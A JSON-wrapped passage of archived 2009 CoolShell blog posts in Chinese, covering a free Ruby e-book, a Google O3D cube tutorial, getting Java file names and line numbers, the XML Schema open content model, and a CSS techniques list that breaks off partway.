    "content": "<html><body><p>这是一本免费的关于教你如何使用Ruby编程的电子书。作者：Huw Collingbourne， SapphireSteel Software 公司的Technology Directory，他也是一个开发 Visual Studio下的Ruby Steel IDE的程序员。这本书给大家提供非常全面的教程，其涵养了几乎所有主要的Ruby编程的东西。</p>\n<p>每一章的代码都可以被下载。如果你是一个 Ruby In Steel 的用户，那么，你可以在一个单一的Visual Studio solution 中载入这些代码，并可以在集成的 Ruby Console 上运行这些代码，并调试之。</p>\n<p><span id=\"more-591\"></span></p>\n<p>下面这是这本书的一些特性：</p>\n<ul>\n<li>425 页。</li>\n<li>20 章节。</li>\n<li>超过 84,000 个词。</li>\n<li>超过300 个可以运行的示例代码。</li>\n<li>100% 的免费!</li>\n</ul>\n<div class=\"chapo\"><!-- finde_surligneconditionnel--></div>\n<p><!--intro/deck--><img alt=\"\" class=\"alignnone\" height=\"587\" src=\"http://www.sapphiresteel.com/IMG/png/book-of-ruby-complete.png\" title=\"book-of-ruby-complete\" width=\"685\"/></p>\n<p><a class=\"spip_in\" href=\"http://www.sapphiresteel.com/IMG/zip/book-of-ruby.zip\">下载这本书和其所有的源码</a> (<em>大小2.9MB </em>)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5709.html\"><img alt=\"API设计：用流畅接口构造内部DSL\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5709.html\">API设计：用流畅接口构造内部DSL</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4710.html\"><img alt=\"Python 和 PyGame 的一些示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/591.html\">免费电子书：Ruby Complete</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-22 Google 三维 JavaScript API 发布.html",
    "content": "<html><body><p>O3D 是一个开源的Web API，其可以创建相当牛X的基于浏览器的可交互式的3D应用。这个API在很有可能会形成以后的Web上的3D图形的标准。下面是这个API的主站点： <a href=\"http://code.google.com/apis/o3d/\">http://code.google.com/apis/o3d/</a> 。O3D目前支持Windows, Mac和Linux三种平台。</p>\n<p>下面是一些简单地使用O3D的API的如何创建一个立方体，更详细的内容请访问O3D的网站。</p>\n<p>1）首选我们先创建一个比较原始的立方体。使用<span style=\"font-family: Courier New;\">createCube()</span>方法。</p>\n<p>[javascript]</p>\n<p>function createCube(material) {<br/>\n  var cubeShape = g_pack.createObject(‘Shape’);<br/>\n  var cubePrimitive = g_pack.createObject(‘Primitive’);<br/>\n  var streamBank = g_pack.createObject(‘StreamBank’);</p>\n<p>  cubePrimitive.material = material;<br/>\n  cubePrimitive.owner(cubeShape);<br/>\n  cubePrimitive.streamBank = streamBank;<br/>\n  .<br/>\n  .<br/>\n  .<br/>\n[/javascript]</p>\n<p><span id=\"more-599\"></span><br/>\n 2）然后，我们需要指定一些顶点信息。<br/>\n其中，我们利用三角形来构造3D图形。一个立方体有12个三角面，两个构成一个面，然后有8个顶点。<br/>\n[javascript]<br/>\n  cubePrimitive.primitiveType = g_o3d.Primitive.TRIANGLELIST;<br/>\n  cubePrimitive.numberPrimitives = 12; // 12 triangles<br/>\n  cubePrimitive.numberVertices = 8;    // 8 vertices in total<br/>\n  cubePrimitive.createDrawElement(g_pack, null);   // Create the draw element for this primitive.<br/>\n[/javascript]</p>\n<p>3）指定一下8个顶点的坐标。<br/>\n[javascript]<br/>\nvar positionArray = [<br/>\n    -0.5, -0.5,  0.5,  // vertex 0<br/>\n     0.5, -0.5,  0.5,  // vertex 1<br/>\n    -0.5,  0.5,  0.5,  // vertex 2<br/>\n     0.5,  0.5,  0.5,  // vertex 3<br/>\n    -0.5,  0.5, -0.5,  // vertex 4<br/>\n     0.5,  0.5, -0.5,  // vertex 5<br/>\n    -0.5, -0.5, -0.5,  // vertex 6<br/>\n     0.5, -0.5, -0.5   // vertex 7<br/>\n  ];<br/>\n[/javascript]</p>\n<p>4）把顶点坐标数组加入Buffer中。<br/>\n[javascript]<br/>\n// Create buffers containing the vertex data.<br/>\nvar positionsBuffer = g_pack.createObject(‘VertexBuffer’);<br/>\nvar positionsField = positionsBuffer.createField(‘FloatField’, 3);<br/>\npositionsBuffer.set(positionArray);<br/>\n[/javascript]</p>\n<p>5）把Buffer放到Stream Bank中。</p>\n<p>[javascript]<br/>\n// Associate the positions Buffer with the StreamBank.<br/>\nstreamBank.setVertexStream(<br/>\n  g_o3d.Stream.POSITION, // semantic: This stream stores vertex positions<br/>\n  0,                     // semantic index: First (and only) position stream<br/>\n  positionsField,        // field: the field this stream uses.<br/>\n  0);                    // start_index: How many elements to skip in the field.<br/>\n[/javascript] </p>\n<p>6）连接点成为三角面，并把三角面两两一组组成立方面。<br/>\n[javascript]<br/>\nvar indicesArray = [<br/>\n      0, 1, 2,  // face 1<br/>\n      2, 1, 3,<br/>\n      2, 3, 4,  // face 2<br/>\n      4, 3, 5,<br/>\n      4, 5, 6,  // face 3<br/>\n      6, 5, 7,<br/>\n      6, 7, 0,  // face 4<br/>\n      0, 7, 1,<br/>\n      1, 7, 3,  // face 5<br/>\n      3, 7, 5,<br/>\n      6, 0, 4,  // face 6<br/>\n      4, 0, 2<br/>\n  ];<br/>\n[/javascript]</p>\n<p>完整的源码请参看这里：（打开网页后查看源码）<br/>\n<a href=\"http://o3d.googlecode.com/svn/trunk/samples/hellocube.html\" target=\"_blank\">http://o3d.googlecode.com/svn/trunk/samples/hellocube.html</a></p>\n<p>最后，让我们看一看下面YouTube上的视频，你就知道这个东西有多强了。<a href=\"http://www.youtube.com/watch?v=uofWfXOzX-g\" target=\"_blank\">YouTube链接</a>。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/599.html\">Google 三维 JavaScript API 发布</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-22 Java如何取源文件中文件名和行号.html",
    "content": "<html><body><p>如何取的Java源代码文件中文件名和行号：）</p>\n<p>在C/C++的程序，编译器提供了两个宏来支持取得源文件中的行号和文件名，这两个宏是__FILE__,__LINE__</p>\n<p>你可以如下的方法打印行号和文件名</p>\n<pre class=\"EnlighterJSRAW\">\n\n#include &lt;stdio.h&gt;\nint main()\n{\n fprintf(stdout,\"[%s:%d] Hello World!\",__FILE__,__LINE__);\n return 0;\n}\n\n</pre>\n<p><span id=\"more-611\"></span><br/>\n但是在JAVA下没有这两个宏，那么我们如何来取得文件名和行号，翻阅JDK，我们找到StackTraceElement这个类。这个类可以从Throwable取得，另外也可以从Thread类取得，通过这些我写如下的一个打印行号的测试程序：</p>\n<pre class=\"EnlighterJSRAW\">\n\npublic class LineNo {\n public static int getLineNumber() {\n return Thread.currentThread().getStackTrace()[2].getLineNumber();\n }  \n\n public static String getFileName() {\n return Thread.currentThread().getStackTrace()[2].getFileName();\n }\n public static void main(String args[]) {\n System.out.println(\"[\"+getFileName()+\"：\"+ getLineNumber()+\"]\"+\"Hello World!\");\n }\n}\n\n</pre>\n<p>留下一个问题，上面程序中的magic数字 2 代表什么含义呢？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/611.html\">Java如何取源文件中文件名和行号</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-22 早期XML Schema中的open content模型.html",
    "content": "<html><body><p><strong>摘要</strong>：在看SDO的一些规范文档，可能会出现open content这样的词组，上网查了相关资料，发现这是一种XML Schema的模型，本文就描述了XML Schema的Open Content模型的含义，在最新的XML Schema规范中，好像已经没有Open模型，它的等价物是any模型。</p>\n<p>早期发布的XML Schema规范中支持一种新的element定义，在这个定义中，你可以将XML的Element的内容定义为开放的。下面我们将会介绍一下XML的Open Content 模型。</p>\n<p>在Open Content模型中，如果一个XML的元素在XML Schema中被声明为开放的，那么这个Schema对应的XML文档的实例就可以包含一个没有在Schema中罗列的子元素。例如，一个包含着如下的XML Schema的Schema文件</p>\n<p><span id=\"more-604\"></span></p>\n<pre class=\"EnlighterJSRAW\">\n      &lt;element name=&amp;quot;Book&amp;quot;&gt;\n           &lt;type&gt;\n               &lt;element name=&amp;quot;Title&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n               &lt;element name=&amp;quot;Author&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n               &lt;element name=&amp;quot;Date&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n               &lt;element name=&amp;quot;ISBN&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n               &lt;element name=&amp;quot;Publisher&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n           &lt;/type&gt;\n      &lt;/element&gt;</pre>\n<p>这个book element的声明意味着这个Schema的实例XML文件必须包含5个元素 – Title,Author，Date，ISBN，Pbulish。例如：</p>\n<pre class=\"EnlighterJSRAW\">\n     &lt;Book&gt;\n         &lt;Title&gt;Illusions The Adventures of a Reluctant Messiah&lt;/Title&gt;\n         &lt;Author&gt;Richard Bach&lt;/Author&gt;\n         &lt;Date&gt;1977&lt;/Date&gt;\n         &lt;ISBN&gt;0-440-34319-4&lt;/ISBN&gt;\n         &lt;Publisher&gt;Dell Publishing Co.&lt;/Publisher&gt;\n     &lt;/Book&gt;\n\n</pre>\n<p>假设，在实例XML文件，你希望增加book的另外一个子元素，比如，你希望增加一个到某一个网页的连接：</p>\n<pre class=\"EnlighterJSRAW\">\n     &lt;Book&gt;\n         &lt;Title&gt;Illusions The Adventures of a Reluctant Messiah&lt;/Title&gt;\n         &lt;Author&gt;Richard Bach&lt;/Author&gt;\n         &lt;Date&gt;1977&lt;/Date&gt;\n         &lt;ISBN&gt;0-440-34319-4&lt;/ISBN&gt;\n         &lt;Publisher&gt;Dell Publishing Co.&lt;/Publisher&gt;\n         &lt;AuthorsWebPage xlink:href=&amp;quot;&lt;a href=&amp;quot;http://www.rbach.com&amp;quot;/&amp;quot;&gt;http://www.rbach.com&amp;quot;/&lt;/a&gt;&gt;\n    &lt;/Book&gt;\n\n</pre>\n<p>对于上面这个XML文件，XML Schema分析器将会认为这个XML文件是无效的XML，因为上面的文件的包含了Scheme中没有定义的元素。但是在我们的应用场景中，我们可能会希望XML Schema分析器不要报错，因为，应用程序自己知道如何处理&lt;AuthorsWebPage&gt;这个元素。为了达到这个目的，我们就可以将Book声明为开放的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3609.html\"><img alt=\"那些炒作过度的技术和概念\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3585.html\"><img alt=\"SOAP的S是Simple\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3585.html\">SOAP的S是Simple</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3498.html\"><img alt=\"信XML，得自信\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3498.html\">信XML，得自信</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/604.html\">早期XML Schema中的open content模型</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-23 22个不错的CSS技术.html",
    "content": "<html><body><p>我们可以CSS 干很多很多相当不错的事情，你应该知道如何做这些事情。下面列出了一些你必需要知道的用CSS技术，点击链接，你可以看到相关教程。这个技术相当值得你去学习。</p>\n<h4>1. <a href=\"http://mikecherim.com/experiments/css_map_pop.php\" target=\"_blank\" title=\"css imagepop\"><span style=\"color: #9e0b0e;\">CSS 地图</span></a></h4>\n<p><a href=\"http://green-beast.com/experiments/css_map_pop.php\"><span style=\"color: #9e0b0e;\"><img alt=\"image-maps\" class=\"alignnone size-full wp-image-81\" height=\"300\" src=\"../wp-content/uploads/2009/02/image-maps.jpg\" width=\"550\"/></span></a><br/>\n<span id=\"more-648\"></span></p>\n<h4>2. <a href=\"http://moneytreesystems.com/css/picpopup.html\" target=\"_blank\"><span style=\"color: #9e0b0e;\">Css 缩略图 Pop up</span></a></h4>\n<p><span style=\"text-decoration: underline;\"><a href=\"http://moneytreesystems.com/css/picpopup.html\"><span style=\"color: #9e0b0e;\"><img alt=\"image-pops\" class=\"alignnone size-full wp-image-82\" height=\"300\" src=\"../wp-content/uploads/2009/02/image-pops.jpg\" width=\"550\"/></span></a></span></p>\n<h4>3. <a href=\"http://webdesign.about.com/od/examples/l/blopacity.htm\" target=\"_blank\"><span style=\"color: #9e0b0e;\">CSS 3 透明示例</span></a></h4>\n<p><a href=\"http://webdesign.about.com/od/examples/l/blopacity.htm\"><span style=\"color: #9e0b0e;\"><img alt=\"opacity\" class=\"alignnone size-full wp-image-83\" height=\"300\" src=\"../wp-content/uploads/2009/02/opacity.jpg\" width=\"550\"/></span></a></p>\n<h4>4.<a href=\"http://www.stunicholls.myby.co.uk/\" target=\"_blank\"><span style=\"color: #9e0b0e;\"> 漂亮的半透明菜单</span></a></h4>\n<p><a href=\"http://www.stunicholls.myby.co.uk/\"><span style=\"color: #9e0b0e;\"><img alt=\"css-transparent-menus\" class=\"alignnone size-full wp-image-84\" height=\"300\" src=\"../wp-content/uploads/2009/02/css-transparent-menus.jpg\" width=\"550\"/></span></a></p>\n<h4>5. <a href=\"http://meyerweb.com/eric/css/edge/complexspiral/demo2.html\" target=\"_blank\"><span style=\"color: #9e0b0e;\">又一个半透明的菜单</span></a></h4>\n<p><span style=\"color: #9e0b0e;\"><img alt=\"transparent-menu\" class=\"alignnone size-full wp-image-85\" height=\"300\" src=\"../wp-content/uploads/2009/02/transparent-menu.jpg\" width=\"550\"/></span></p>\n<h4>6.<a href=\"http://pooliestudios.com/projects/iconize/\" target=\"_blank\"><span style=\"color: #9e0b0e;\"> 带图标的链接 </span></a></h4>\n<p><a href=\"http://pooliestudios.com/projects/iconize/\"><span style=\"color: #9e0b0e;\"><img alt=\"image-cues\" class=\"alignnone size-full wp-image-86\" height=\"300\" src=\"../wp-content/uploads/2009/02/image-cues.jpg\" width=\"550\"/></span></a></p>\n<h4>7. <a href=\"http://www.cssplay.co.uk/menu/scrollmap\" target=\"_blank\"><span style=\"color: #9e0b0e;\">图片滚动</span></a></h4>\n<p><a href=\"http://www.cssplay.co.uk/menu/solar_map\"><span style=\"color: #9e0b0e;\"><img alt=\"scrolling-imagemap\" class=\"alignnone size-full wp-image-87\" height=\"300\" src=\"../wp-content/uploads/2009/02/scrolling-imagemap.jpg\" width=\"550\"/></span></a></p>\n<h4>8. <a href=\"http://www.cssplay.co.uk/menu/solar_map\" target=\"_blank\"><span style=\"color: #9e0b0e;\">图片地图</span></a></h4>\n<p><a href=\"http://www.cssplay.co.uk/menu/solar_map\"><span style=\"color: #9e0b0e;\"><img alt=\"earth-css-image\" class=\"alignnone size-full wp-image-88\" height=\"300\" src=\"../wp-content/uploads/2009/02/earth-css-image.jpg\" width=\"550\"/></span></a></p>\n<h4>9.<a href=\"http://www.picment.com/articles/css/funwithforms/\" target=\"_blank\"><span style=\"color: #9e0b0e;\"> CSS 表单背景</span></a></h4>\n<p><a href=\"http://www.picment.com/articles/css/funwithforms/\"><span style=\"color: #9e0b0e;\"><img alt=\"form\" class=\"alignnone size-full wp-image-89\" height=\"300\" src=\"../wp-content/uploads/2009/02/form.jpg\" width=\"550\"/></span></a></p>\n<h4>10.<a href=\"http://www.digital-web.com/articles/redesigning_ebay_registration/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">表单重构设计 </span></a></h4>\n<h4><span style=\"color: #9e0b0e;\"><img alt=\"form-redesign\" class=\"alignnone size-full wp-image-92\" height=\"300\" src=\"../wp-content/uploads/2009/02/form-redesign.jpg\" width=\"550\"/></span></h4>\n<h4>11. <a href=\"http://www.alistapart.com/articles/prettyaccessibleforms\" target=\"_blank\"><span style=\"color: #9e0b0e;\">表单风格</span></a></h4>\n<h4><span style=\"color: #9e0b0e;\"><img alt=\"css-techniques0024\" class=\"alignnone size-full wp-image-93\" height=\"170\" src=\"../wp-content/uploads/2009/02/css-techniques0024.gif\" width=\"485\"/></span></h4>\n<h4>12. <a href=\"http://lipidity.com/fancy-form/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">表单检查</span></a></h4>\n<p><a href=\"http://lipidity.com/fancy-form/\"><span style=\"color: #9e0b0e;\"><img alt=\"fancy-check-boxes\" class=\"alignnone size-full wp-image-94\" height=\"300\" src=\"../wp-content/uploads/2009/02/fancy-check-boxes.gif\" width=\"550\"/></span></a></p>\n<h4>13. <a href=\"http://www.badboy.ro/articles/2007-01-30/niceforms/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">漂单的表单</span></a></h4>\n<h4><a href=\"http://www.badboy.ro/articles/2007-01-30/niceforms/\"><span style=\"color: #9e0b0e;\"><img alt=\"personal\" class=\"alignnone size-full wp-image-95\" height=\"300\" src=\"../wp-content/uploads/2009/02/personal.gif\" width=\"550\"/></span></a></h4>\n<h4>14. <a href=\"http://www.cssnewbie.com/css-only-accordion/\"><span style=\"color: #9e0b0e;\">CSS 折叠式导航</span></a></h4>\n<p><a href=\"http://www.cssnewbie.com/css-only-accordion/\"><span style=\"color: #9e0b0e;\"><img alt=\"accordian\" class=\"alignnone size-full wp-image-96\" height=\"300\" src=\"../wp-content/uploads/2009/02/accordian.gif\" width=\"550\"/></span></a></p>\n<h4>15. <a href=\"http://www.icebrrg.com/public/howto.aspx\" target=\"_blank\"><span style=\"color: #9e0b0e;\">ice Brrg 在线表单生成器<br/>\n</span></a></h4>\n<h4><span style=\"color: #9e0b0e;\"><img alt=\"icebrrg\" class=\"alignnone size-full wp-image-97\" height=\"300\" src=\"../wp-content/uploads/2009/02/icebrrg.gif\" width=\"550\"/></span></h4>\n<h4>16. Jot Form (一个在线的表单创建网站)</h4>\n<h4><a href=\"http://www.jotform.com/\"><img alt=\"jot-forms\" class=\"alignnone size-full wp-image-98\" height=\"300\" src=\"../wp-content/uploads/2009/02/jot-forms.gif\" width=\"550\"/></a></h4>\n<h4>17. <a href=\"http://wufoo.com/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">Wufoo (相当不错的风格)</span></a></h4>\n<h4><a href=\"http://wufoo.com/\"><span style=\"color: #9e0b0e;\"><img alt=\"wufoo\" class=\"alignnone size-full wp-image-99\" height=\"300\" src=\"../wp-content/uploads/2009/02/wufoo.gif\" width=\"550\"/></span></a></h4>\n<h4>18. <a href=\"http://www.formsite.com/\" target=\"_blank\"><span style=\"color: 